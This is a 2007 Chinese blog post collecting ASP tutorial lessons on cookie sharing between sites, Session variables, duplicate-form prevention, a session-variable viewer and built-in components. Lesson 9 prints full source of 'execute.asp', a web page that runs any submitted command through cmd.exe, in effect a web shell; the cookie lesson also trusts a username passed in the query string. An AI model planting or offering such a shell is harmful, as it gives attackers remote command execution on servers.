  '重定向到 siteA.com
  Response.Redirect("http://www.siteA.com/index.asp"&"?checked=True")
  Else
  '获取username
  strUsername=Request.Cookies("SiteB_Cookie")("Username")
  '将用户连同一个特殊的标志返回到siteA.com
  Response.Redlrect("http://www.siteA.com/index.asp"&"?checked=True"&"identrfer="&strUsername)
  End if
  如果用户在siteB.com上仍没有cookie,于是,将他送回到siteA.com,并且通过在查询语句中提供一个叫做"checkd"的参数让应用程序知道你已经检查过cookie了。否则,将用户送回到siteB.com,并退出循环。
然而,如果用户拥有siteB.com的cookie,我们需要将用户送回siteA.com并告诉siteA.com。为此,我们在数据库中附加一个唯一的标志,username。所以,我们扩展siteA.com中的代码。

  l—3

  'SiteA.com
...
  ...
  '检查标志
  If Request.Querystring("identifier")<>"" then
  strUsername=Request.Querystring("identifier")
  '记录到数据库
  Response.Cookies("siteA_Cookie").Expires=Date+365
  Response.Cookies("SiteA_Cookie").Domain="siteA.com"
  Response.Cookies("siteA_Cookie")("Username")=strUsername
  End if
  最后,我们回到siteA.com。文件的第一部分(l-l)检查是否完成了cookie的检查,由于可以明显地知道已经完成(由语句中的"checked"参数表明),进行到l—3所示的程序的第二部分。如果存在特殊的标志,我们就可以在siteA.com创建cookie。使用这个特殊的标志(在这里是username),我们可以在任何需要的时候查询数据库。然后,设置cookie,显示页面的其他部分。如果没有指定的标志,也没必要担心,只要简单地显示页面的余下部分。
  这样,毫不费力地,siteA.com拥有了和siteB.com一样的cookie。我们可以传输更多的信息而不只是一个标志,并且,将网络流量控制在最小范围内。
  要注意一点,即使用户拥有siteA.com上的cookie,仍需要检查siteB.com。通常来讲,这不是必须的,也会节约时间。但是,一旦用户在siteB.com更改个人信息?这样做,会保持所有信息的同步。
  Cookie环
  要完成这些,我们需要两个文件:一个在原始站点服务器(siteA.com),完成检查;一个在参考服务器(siteB.com),验证用户。如果有一台参考服务器包含有需要的所有用户信息或cookie,就可以增加随意多的原始服务器,所需要做的就是在所有要共享cookie的服务器上增加cookie.inc文件。
  也可以以相反的次序执行,例如,如果siteB.com是原始服务器,而siteA.com包含用户信息。访问过siteA.com却从未访问过siteB.com的用户也可以登录到siteA.com,并且拥有所有的曾经的设置。注意,如果拥有多个参考服务器,这样将会很使人迷惑,并且消耗过多的资源,因为必须将用户重定向到每一台参考服务器。
  理论上讲,可以拥有一个所有站点都共享相同的用户的网络。最可行的方案就是建立共享cookie环。将参考服务器列表存储在一个地方(备份服务器),以便每个参考服务器可以查找并决定重定向用户的下一个站点。记住一定要通过查询字符串的意思跟踪用户是在哪个原始服务器开始。这样信息的传输非常迅速,这个环节变得越来越可行。
  这里还存在一些问题,首先是反应时间。对用户而言,他们最好不知道过程是怎样的。他所需的时间依赖于siteA.com、siteB.com之间的连接,有可能会比较长,在实现cookie环时可能会更长。
  再一个主要问题,就是每一个实现者大都会面对无限的重定向。这有很多原因,例如:用户的测览器不支持cookie。这就需要再设计代码来监测用户浏览器的性能。
  最好,还需要注意安全问题。如果有些黑客发现了其中的诀窍,他可能会得到cookie中的信息。最简单的防范办法就是保护参考服务器,只允许原始服务器访问Cookie.asp文件。

第七课.ASP中使用Session变量的优缺点

许多人利用Session变量来开发ASP(Active Server Pages)。这些变量与任何编程语言中通用的变量非常相似,并且具有和通用变量一样的优点和缺陷。任何命令都需要运行时间和存储空间(甚至GOTO’s语句如此),Session变量同样需要自己的运行时间和存储空间。过多地使用Session变量就会导致无法代码冗余,并且使服务器运行成本提高下面是我个人使用Session变量的一些主要观点和心得体会。
优点

  如果要在诸多Web页间传递一个变量,那么用Session变量要比通过QueryString传递变量可使问题简化。

  要使WEb站点具有用户化,可以考虑使用Session变量。你的站点的每位访问者都有用户化的经验,基于此,随着LDAP和诸如MS Site Server等的使用,已不必再将所有用户化过程置入Session变量了,而这个用户化是取决于用户喜好的。

  你可以在任何想要使用的时候直接使用session变量,而不必事先声明它,这种方式接近于在VB中变量的使用。使用完毕后,也不必考虑将其释放,因为它将自动释放。

缺点

  Session变量和cookies是同一类型的。如果某用户将浏览器设置为不兼容任何cookie,那么该用户就无法使用这个Session变量!

  当一个用户访问某页面时,每个Session变量的运行环境便自动生成,这些Session变量可在用户离开该页面后仍保留20分钟!(事实上,这些变量一直可保留至“timeout”。“timeout”的时间长短由Web服务器管理员设定。一些站点上的变量仅维持了3分钟,一些则为10分钟,还有一些则保留至默认值20分钟。)所以,如果在Session中置入了较大的对象(如ADO recordsets,connections, 等等),那就有麻烦了!随着站点访问量的增大,服务器将会因此而无法正常运行!

  因为创建Session变量有很大的随意性,可随时调用,不需要开发者做精确地处理,所以,过度使用session变量将会导致代码不可读而且不好维护。

  虽然“你可以在任何想要使用的时候直接使用session变量,而不必事先声明它,这种方式接近于在VB中变量的使用。使用完毕后,也不必考虑将其释放,因为它将自动释放”。但是,“谁”想到那儿呢?变量的含义是什么?这些都变得不很清晰。

总结

  使用Session变量既有优点,又有缺点。就我个人的观点,最好少用,但在某些地方使用它们确实能使Web开发大大地简化。是否使用Session变量完全取决于个人的需要,无论使用与否,都要事先考虑其优缺点
第八课.在ASP中限制同一表单被多次提交

本文介绍在ASP应用中防止用户在当前会话期间多次提交同一表单的一个简单方法。它主要由四个子程序组成,在较为简单的应用场合,你只要将这些代码放在包含文件中直接引用即可;对于那些较为复杂的环境,我们在文章的最后给出一些改进建议。

   一、基本工作过程

   下面我们依次讨论这四个子程序。

(一)初始化
   这里我们要在Session对象中保存两个变量,其中:
   ⑴ 每一个表单对应一个称为FID的唯一标识,为使该值唯一要用到一个计数器。
   ⑵ 每当一个表单成功提交,必须在一个Dictionary对象中存储它的FID。
   我们用一个专用的过程来初始化上述数据。虽然以后各个子程序都要调用它,但实际上每一个会话期间它只执行一次:
Sub InitializeFID()
If Not IsObject(Session("FIDList")) Then
Set Session("FIDList")=Server.CreateObject("Scripting.Dictionary")
Session("FID")=0
End If
End Sub
   (二)生成表单的唯一标识符
   下面这个函数GenerateFID()用于生成表单的唯一标志。该函数首先将FID值加1,然后返回它:
Function GenerateFID()
InitializeFID
Session("FID") = Session("FID") + 1
GenerateFID = Session("FID")
End Function
   (三)登记已提交表单
   当表单成功地提交时,在Dictionary对象中登记它的唯一标识:
Sub RegisterFID()
Dim strFID
InitializeFID
strFID = Request("FID")
Session("FIDlist").Add strFID, now()
End Sub
   (四)检查表单是否重复提交
   在正式处理用户提交的表单之前,应该在Dictionary对象中检查它的FID是否已经登记。下面的CheckFID()函数用来完成这个工作,如已经登记,它返回FALSE,否则返回TRUE:
Function CheckFID()
Dim strFID
InitializeFID
strFID = Request("FID")
CheckFID = not Session("FIDlist").Exists(strFID)
End Function
   二、如何使用
   有两个地方要用到上述函数,即表单生成时与结果处理时。假设上述四个子程序已经放入包含文件Forms.inc中,下面的代码根据FID值来决定生成表单还是处理表单结果,它所描述的处理过程适合于大多数ASP应用:
< %Option Explicit%>
< !--#include file="forms.inc"-->
< HTML>
< HEAD>
< TITLE>表单提交测试< /TITLE>
< /HEAD
< BODY>
< %
If Request("FID") = "" Then
GenerateForm
Else
ProcessForm
End If
%>
< /BODY>
< /HTML>
   GenerateForm负责生成表单,表单中应该含有一个隐藏的FID,如:
< %
Sub GenerateForm()
%>
< form action="< %=Request.ServerVariables("PATH_INFO")%>" method=GET>
< input type=hidden name=FID value="< %=GenerateFID()%>">
< input type=text name="param1" value="">
< input type=submit value="OK">
< /form>
< %
End Sub
%>
   ProcessForm负责处理通过表单提交的内容,但在处理之前应该先调用CheckFID()检查当前表单是否已经提交,代码类如:
< %
Sub ProcessForm()
If CheckFID() Then
Response.Write "你输入的内容是" & Request.QueryString("param1")
RegisterFID
Else
Response.Write "此表单只能提交一次!"
End If
End Sub
%>
   三、限制与改进措施
   上面我们介绍了在当前会话期间限制同一表单被多次提交的一种方法。在实际应用中可能需要从多方面加以改进,例如:
   ⑴ 在登记表单ID之前检查用户输入数据的合法性,使得数据不合法时用户可以按“后退”按钮返回,在修正后再次提交同一表单。
   ⑵ 这种对表单提交的限制最多只能在当前会话期间有效。如果要求这种限制能够跨越多个会话,那么就要用到Cookeis或数据库来保存相关数据了。
   ⑶ 这种方法是不安全的。它仅用于防范误操作,不能防止熟练用户有意地多次提交同一表单。
第九课.可以执行系统命令的ASP原码放送

注意的是,程序运行必须有FileSystemObject支持。以下是远程执行命令的原代码。
copy下来另存为execute.asp.
<html>
<head>
<meta http-equiv="Content-Language" content="zh-cn">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>执行命令</title>
<style>
<!--
table,body{ font-family: 宋体; font-size: 9pt }
a{ font-family: 宋体; font-size: 9pt; color: rgb(0,32,64);
text-decoration: none }
a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: none
}
a:visited{ color: rgb(128,0,0) }
-->
</style>
</head>
<body bgcolor="#000000" text="#C0C0C0">
<form method="POST" action="execute.asp">
<p align="left">输入要执行的命令:<input type="text" name="ml"
size="20" value="dir c:\" style="background-color: #C0C0C0; color:
#000000; border-style: solid; border-width: 1">
<input type="submit" value="执行" name="B1" style="background-color:
#C0C0C0; color: #000000; border: 1 groove #C0C0C0"></p>
</form>
<%
ml=request.form("ml")
cmd="c:\winnt\system32\cmd.exe /c "&ml&" >c:\whoamI.txt" '修改
whoamI.txt路径到一个有写权限的目录
Set WShShell = Server.CreateObject("WScript.Shell")
RetCode = WShShell.Run(cmd, 1, True)
if RetCode = 0 Then
Response.write ml & " "
Response.write " 命令成功执行!"&"<br><br>"
else
Response.write " 命令执行失败!权限不够或者该程序无法在DOS状态下运行
!"&"<br><br>"
end if
'response.write cmd
function htmlencode(str)
dim result
dim l
if isNULL(str) then
htmlencode=""
exit function
end if
l=len(str)
result=""
dim i
for i = 1 to l
select case mid(str,i,1)
case "<"
result=result+"<"
case ">"
result=result+">"
case chr(34)
result=result+"""
case "&"
result=result+"&"
case else
result=result+mid(str,i,1)
end select
next
htmlencode=result
end function
Set fs =CreateObject("Scripting.FileSystemObject")
Set thisfile = fs.OpenTextFile("c:/whoamI.txt", 1, False) '读文件,别忘
了修改路径.
counter=0
do while not thisfile.atendofstream
counter=counter+1
thisline=htmlencode(thisfile.readline)
response.write thisline&"<br>"
loop
thisfile.Close
set fs=nothing
%>
</body>
</html>
请勿将此程序用于非法途径,由此引起的一切后果由使用者承担。

第十课.查看服务器Application/Session变量工具

<" CODEPAGE="936"%>
   <%
   Response.Expires = 0;
   Response.Buffer  = true;
   var tPageStartTime = new Date();
   %>
  <html>
  <head>
  <title>网站-Application变量-Session变量</title>
  <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
  <STYLE type=text/css>
   body,td {FONT-SIZE: 10pt; FONT-FAMILY: "Arial", "Helvetica", "sans-serif" }
   .Table1 { BORDER-RIGHT: #FF9900 1px solid; BORDER-TOP: #FF9900 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: #FF9900 1px solid; BORDER-BOTTOM: #FF9900 1px solid }
   .Table2 { BACKGROUND-COLOR: #FF9900 }
   .TR1 { BACKGROUND-color:#FF9955 }
   .TD1 { BORDER-RIGHT: #FEDFB3 1px solid; BORDER-TOP: #FEDFB3 1px solid; BORDER-LEFT: #FEDFB3 1px solid; color:#ff9900; BORDER-BOTTOM: #FEDFB3 1px solid; BACKGROUND-COLOR: #FEDFB3}
   .TD2 {BACKGROUND-COLOR: #FEEED6;padding:7px;}
  </STYLE>
  <table width="750" border="0" cellpadding="3" cellspacing="1" class="Table1">
    <tr>
      <td class="TR1">
        <table width="100%" border="0" cellspacing="0" cellpadding="0">
          <tr>
            <td><font color="#FFFFFF" face="Verdana, Arial, Helvetica, sans-serif"> <strong>服务器Application变量 [共 <%=Application.Contents.Count%> 个]
                    <script>showTools();</script></strong></font></td>
            <td align="right"> </td>
          </tr>
      </table></td>
    </tr>
    <tr>
      <td>
        <table width="100%" border="0" cellpadding="3" cellspacing="1" class="Table2">
          <tr>
            <td width="35%" class="TD1"> 变量</td>
            <td width="65%" class="TD1"> 值</td>
          </tr>
  <%
  var iCount = 0;
   var sVarType = "";
   var oApplication = new Enumerator(Application.Contents);
   var oApp;
   for(;!oApplication.atEnd();oApplication.moveNext()){
    oApp = oApplication.item();
    sVarType = typeof(Application.Contents(oApp));
    ++iCount;
    %>
          <tr>
            <td align="left" valign="middle" class="TD2"><b><%=oApp%></b><br><i disabled>[<%if(sVarType=="unknown") {Response.Write("Array");}else{Response.Write(sVarType);}%>]</i></td>
            <td valign="middle" class="TD2">
   <%
   try{
    if(sVarType=="unknown"){
      var oTmp = new VBArray(Application.Contents(oApp));
      Response.Write(Server.HTMLEncode(oTmp.toArray()));
    }else Response.Write(Server.HTMLEncode(Application.Contents(oApp)));
   }catch(e){
    Response.Write("<i disabled>[Unknow]</i>");
   }
   %>
   </td>
          </tr>
  <%
   }
   if(!iCount){
  %>
          <tr>
            <td align="left" valign="middle" class="TD2" colspan="2">没有Application变量</td>
          </tr>
  <%
   }
  %>
      </table></td>
    </tr>
    <tr>
      <td height="5" class="TR1" colspan="2"></td>
    </tr>
  </table>
  <br>
  <table width="750" border="0" cellpadding="3" cellspacing="1" class="Table1">
    <tr>
     <td class="TR1">
        <table width="100%" border="0" cellspacing="0" cellpadding="0">
          <tr>
            <td><font color="#FFFFFF" face="Verdana, Arial, Helvetica, sans-serif"> <strong>服务器Session变量 [共 <%=Session.Contents.Count%> 个]
                    <script>showTools();</script></strong></font></td>
            <td align="right">当前会话编号: <%=Session.SessionID%> </td>
          </tr>
      </table></td>
    </tr>
    <tr>
      <td>
        <table width="100%" border="0" cellpadding="3" cellspacing="1" class="Table2">
          <tr>
            <td width="30%" class="TD1"> 变量</td>
            <td width="70%" class="TD1"> 值</td>
          </tr>
  <%
   var iCount = 0;
   var sVarType = "";
   var oSession = new Enumerator(Session.Contents);
   var oSes;
   for(;!oSession.atEnd();oSession.moveNext()){
  oSes = oSession.item();
  sVarType = typeof(Session.Contents(oSes));
  ++iCount;
  %>
          <tr>
            <td align="left" valign="middle" class="TD2"><b><%=oSes%></b><br><i disabled>[<%if(sVarType=="unknown") {Response.Write("Array");}else{Response.Write(sVarType);}%>]</i></td>
            <td valign="middle" class="TD2">
   <%
   try{
    if(sVarType=="unknown"){
      var oTmp = new VBArray(Session.Contents(oSes));
      Response.Write(Server.HTMLEncode(oTmp.toArray()));
    }else Response.Write(Server.HTMLEncode(Session.Contents(oSes)));
   }catch(e){ Response.Write("<i disabled>[Unknow]</i>");
   }
   %>
   </td>
          </tr>
    <%
     }
    if(!iCount){
    %>
          <tr>
            <td align="left" valign="middle" class="TD2" colspan="2">没有Session变量</td>
          </tr>
  <%
   }
  %>
      </table></td>
    </tr>
    <tr>
      <td height="5" class="TR1" colspan="2"></td>
    </tr>
  </table>
  <% tPageEndTime = new Date(); %>
  <center> <%="<br><br>页面执行时间:约 <font color=\\\'#990000\\\'><b>"+((tPageEndTime-tPageStartTime))+"</b></font> 毫秒"%></center>
  </body></html>

第十一课.浅析ASP内置组件

本文关键字:教程/ASP/入门

    本文的内容是使用ASP的ActiveX Server Components(组件)。

    一、 Browser Capabilities Component(浏览器能力组件):

我们知道,不同的浏览器也许支持不同的功能,如有些浏览器支持框架,有些不支持。利用这个组件,可以检查浏览器的能力,使你的网页争对不同的浏览器显示不同的页面(如对不支持Frame的浏览器显示不含Frame的网页)。 该组件的使用很简单,需注意的是,要正确使用该组件,必须保证Browscap.ini文件是最新的(其实每一个浏览器及其特性都列在这个文件中,自己打开看看就明白了),否则结果可能相去甚远,如Win98第二版所带的IE5.0,在下例中显示为Netscape。这个文件一般位于Web服务器的“\\\\Winnt\\\\System32\\\\InetSrv”下,最新的版本可去
http://www.asptracker.com/

http://www.cyscape.com/browscap
下载。
  例:wuf22.asp
‘注意:组件的使用与对象类似,但是组件在使用前必须先创建,而使用内置对象前不必创建。
请稍候......
浏览器类型
浏览器版本
是否支持表格
是否支持ActiveX控件
是否支持JavaApplets
是否支持JavaScript
是否支持Cookies
是否支持Frames
操作系统
是否支持VBScript

  注意:在本例中我们也接触了Server对象的CreateObject方法,Server.CreateObject用于创建已经注册到服务器上的ActiveX组件(说明:还有其他方法可以创建组件)。不过别忘了用“Set 对象 = Nothing”来及时释放资源,这应该成为一个习惯。
  二、File Access组件
  File Access组件由FileSystemObject对象和TextStream对象组成,使用FileSystemObject对象,可以建立、检索、删除目录及文件,而TextStream对象则提供读写文件的功能。
  实例wuf23.asp。强调:只有通过实践才能加深理解,实践和比较程序运行结果是快速掌握编程技巧的最好方法。
\\\'使用 CreateObject 方法创建 FileSystemObject 对象 FSO
Set FSO = Server.CreateObject("Scripting.FileSystemObject")
Path = Server.MapPath("test") \\\'返回test的物理目录(绝对路径)
\\\'就本例而言, 下面这句与上面这句返回的Path完全一样
\\\'Path = Server.MapPath("\\\\asp\\\\test\\\\")
Response.Write Path & "
"
If FSO.FolderExists(Path) = false then \\\'判断该文件夹是否存在
FSO.CreateFolder(Path) \\\'新建文件夹
End If
File = Path & "\\\\asptest.txt"
\\\' 写文件操作
If FSO.FileExists(File) = True Then \\\'判断该文件是否存在
\\\'建立 TextStream 对象 CTF
Set CTF = FSO.OpenTextFile(File, 8, False, 0) \\\'打开文件, 详见说明
Else
Set CTF = FSO.CreateTextFile(File,False, False) \\\'新建文件
End If
CTF.Write "
第一个字符串; " \\\'写字符串
CTF.WriteLine "第二个字符串; " \\\'写字符串, 并加上一个换行符
CTF.Write "第三个字符串; "
CTF.Close \\\'注意要关闭文件
\\\' 读文件操作
Set CTF = FSO.OpenTextFile(File, 1,,0)
Do While CTF.AtEndOfStream  True \\\'判别是否文件结尾(循环语句)
Str = CTF.ReadLine \\\'(每次)读取一行
StrNoHTML = StrNoHTML & Str & "
" & VbCrLf
StrHTML = StrHTML & Server.HTMLEncode(Str) & "
" & VbCrLf
Loop
Response.Write StrNoHTML
Response.Write StrHTML
CTF.Close
Set CTF = Nothing \\\'释放对象
Set FSO = Nothing
%>
  CTF = FSO.OpenTextFile(File, 8, False, 0),括号内第一个参数为文件名;第二个参数为8,表示在原文件后追加内容,若为1表示只读,为2则会重写原文件;第三个参数false表示,若指定文件不存在,也不新建文件,若为True,表示指定文件不存在,则新建该文件;第四个参数0表示以ASCII文件格式打开,若为-2,则表示以原来的格式打开。
  CTF = FSO.CreateTextFile(File,False, False),第二个参数false表示不覆盖已有文件,若为True,则表示覆盖(OverWrite)已有文件;第三个参数为False表示文件格式为ASCII,为True表示文件格式为Unicode。
  Server对象的MapPath方法将指定的虚拟路径转换为真实的文件路径。MapPath将“/”和“\\\\”字符视为相同。
  Server对象的HTMLEncode方法允许你对特定的字符串进行HTML编码,或者说使浏览器中可以正确显示特定的字符。上例中,若未编码,则“
”显示不出来,而是被浏览器作为HTML标记,你可以对比一下运行结果。
  实际上,File Access组件对文件、文件夹和驱动器的操作还是比较强大的,也提供了较多的方法,如果需要用到这方面的知识,别忘了使用它。
  另外,到现在为止,写一个网页计数器已经是小菜一碟了吧,难怪那么多的网页提供免费计数器。怎么样?自己写一个图形计数器试试看,想怎么作弊就怎么作弊,完全自己说了算,爽呆!(小秘密:我的主页上有实例wuf24.asp)
  三、 AD Rotator(广告翻转组件)
  现在上网,恐怕最讨厌的是别人主页上的广告条,最喜欢的是自己主页上的广告条,广告条如同垃圾邮件一样,比比皆是,防不胜防。你也可以自己动手制造这样的垃圾,ASP的AD Rotator组件就可使每次打开或者重新加载网页时,随机的显示广告。这个例子包括三部分:
  例程wuf25.asp
AdrSet.txt内容(后面为注释,不是这个文件的内容):
REDIRECT wuf26.asp 点击广告后,转由wuf26.asp来处理
WIDTH 468 广告图片宽度
HEIGHT 60 广告图片高度
* 分隔符
http://www.soyou.com/prog/ad/468x60_1.gif
广告图片所在位置,也可为本地图形文件
http://www.163.com/
指向链接,若没有超链接,写入一个“-”
网易 文字说明
20 显示该广告的相对权重,即显示频率
http://fp.cache.imgis.com/images/Ad173962St1Sz1Sq1Id2.gif
http://www.sina.com.cn/
新浪网
30
http://61.139.77.73/images/canon.gif
也可以使用本地图片,如../images/flag.gif
http://www.canon.com.cn/
佳能
50
  本例中一共有三个图片(图片大小468X60)及链接,每个链接的描述占四行,实际使用时,你可如法炮制,增加更多的图片。

  wuf26.asp是一个最简单的处理程序,你可根据实际需要在这里加入更多的代码。
运行一下,原来这个组件的使用也很简单,你要做的就是得到自己的AdrSet.txt文件。利用这个组件,你甚至可以设计一个现在已非常时髦的广告交换主页。
  四、 Content Linking组件
  显然这个组件与链接有关系,如果想马上知道这个组件的具体用途,恐怕还操之过急,不妨先引用一个经典的例子:假设在网上阅读一本书,你对以下这些链接一定不会陌生:第1章、第2章、…、上一章、下一章(或前一页、后一页)等等。我们现在要做的就是如何在这些链接之间方便快速地设置跳转。
  首先建一个链接列表文本文件,如urllist.txt
wuf23.asp :文件操作(File Access组件)
wuf28.asp :Content Linking组件使用示例
wuf22.asp :浏览器能力组件
  链接url地址和描述之间用 Tab 键分隔。下面wuf27.asp用来列出urllist.txt中的所有链接。
Content Linking组件使用

目录列表: 注意核心链接是第2章, 你一定要点击它
\\\'获取文件 urllist.txt 中链接数目
Count = NextLink.GetListCount("urllist.txt")
Dim url, Dscr, I
For I = 1 To Count
url = NextLink.GetNthURL ("urllist.txt", I) \\\'取得超链接
Dscr = NextLink.GetNthDescription ("urllist.txt", I) \\\'取得文字描述
Response.Write "" & Dscr & "" & vbcrlf
Next
%>

  然后,以wuf28.asp为例说明如何自动实现上一章和下一章跳转。
这个链接要注意

这里是第 2 章的正文............

  这里最后一句加上去就可以实现自动跳转,核心在wuf29.asp中。
"
If (rank > 1) Then \\\'rank = 1 不存在前一页
Response.Write "|上一章|"
End If
If (rank 下一章|"
End If
%>
  运行这个例子后,你马上能真正理解这个组件的作用,简而言之,就是不需要在每页都写一个“上一章”、“下一章”,完全通过wuf29.asp一下搞定,是不是很方便?!不然你要是手工修改链接的话,不是太麻烦了几点吗?
  现在你应该明白了,网上大量的免费计数器、免费留言板、免费聊天室、广告交换网等等……,其原理都不过如此,大可不必崇拜。


第十二课.学习使用ASP对象和组件

ASP对象让你的服务器和浏览器互相影响,你会例行公事的在你的ASP脚本中使用一个或者多个对象。你不用安装任何东西来使用它们,但是你必须要记住打开或者关闭它们。

    ASP组件,和ASP对象不同,它是ActiveX控制和ASP接口让普通进程单一化。一些普通的使用对象和组件就在这个下面定义。
对象

请求对象
    请求对象让你的通过一个HTTP请求分接信息。你可以使用请求对象分析编码URLs,从一个表格中访问信息并且读取cookies,客户认证和HTTP头文件。

响应对象
    响应对象是你将信息发送给用户的关键。你可以书写到屏幕,改变方向到下一页并且创建一个使用相应对象的cookies。

应用对象
    执行的Web服务器是一个应用程序。使用应用对象,你可以控制和开始以及关闭程序相关的特性,同时存储应该被应用程序访问的信息。

服务器对象
    服务器对象让你执行例程函数,比如映射一个虚拟路径到物理上并创造一个组件例图。

会议对象
    使用会议对象,你可以存储和每个访问你站点用户相关的信息。



组件

广告转换器
    广告转换器是为你的标题广告建立一个交付系统的流线进程。在一个分开的文件中,你可以存储关于标题的信息。组件就会在每次页面下载的时候随机地选择标题。

浏览器能力

    浏览器组件让你确定用户使用什么浏览器和浏览器支持什么性能。
协作数据对象(CDO)
    利用IIS SMTP服务器,CDO让你可以发送和接受电子邮件。有了CDO,你可以执行一个表格不需要依赖Perl脚本和CGI。

内容连接
    这个是一个手动对象,它创建一个线性或者连续的路径到你的站点或者站点的一部分。你可以包含一个简单的文本来列出文件的适当顺序。你可以将next和previous连接添加到你的页面,使你的页面更加容易连接。

内容转换器
    如果你需要喷射内容,这个是非常好的组件。它非常好使用并且它可以让你添加动态内容到任何页面而不需要使用一个数据库。在分开的文本文件中,你存储了HTML代码的知识块,它们交替的放入页面的空格。内容转换器会在页面每次再下载的时候显示一个知识块。

数据库访问
    使用这个组件,你可以让数据库写组件到浏览器屏幕并创建或者更新存在的数据库文件。


第三方组件
    还有很多第三方组件,有收费和不收费的,都可以被ASP利用。如果你运行你自己的饿服务器,你可以按意愿安装组件,注册一个.dll通常是安装的扩展,因此,一个组件可以是一个时间的拯救者。你可以省下不少时间来检查是否组件存在并可以用手操作工作。

    如果你的站点由一个ISP坐主机,你可以安装你自己的组件或者让他们自己安装,因此,你可以检查你的ISP的支持团队。
posted on 2007-03-16 20:55 求勿求 阅读(1094) 评论(0)  编辑 收藏 引用 所属分类: IT歧途
只有注册用户登录后才能发表评论。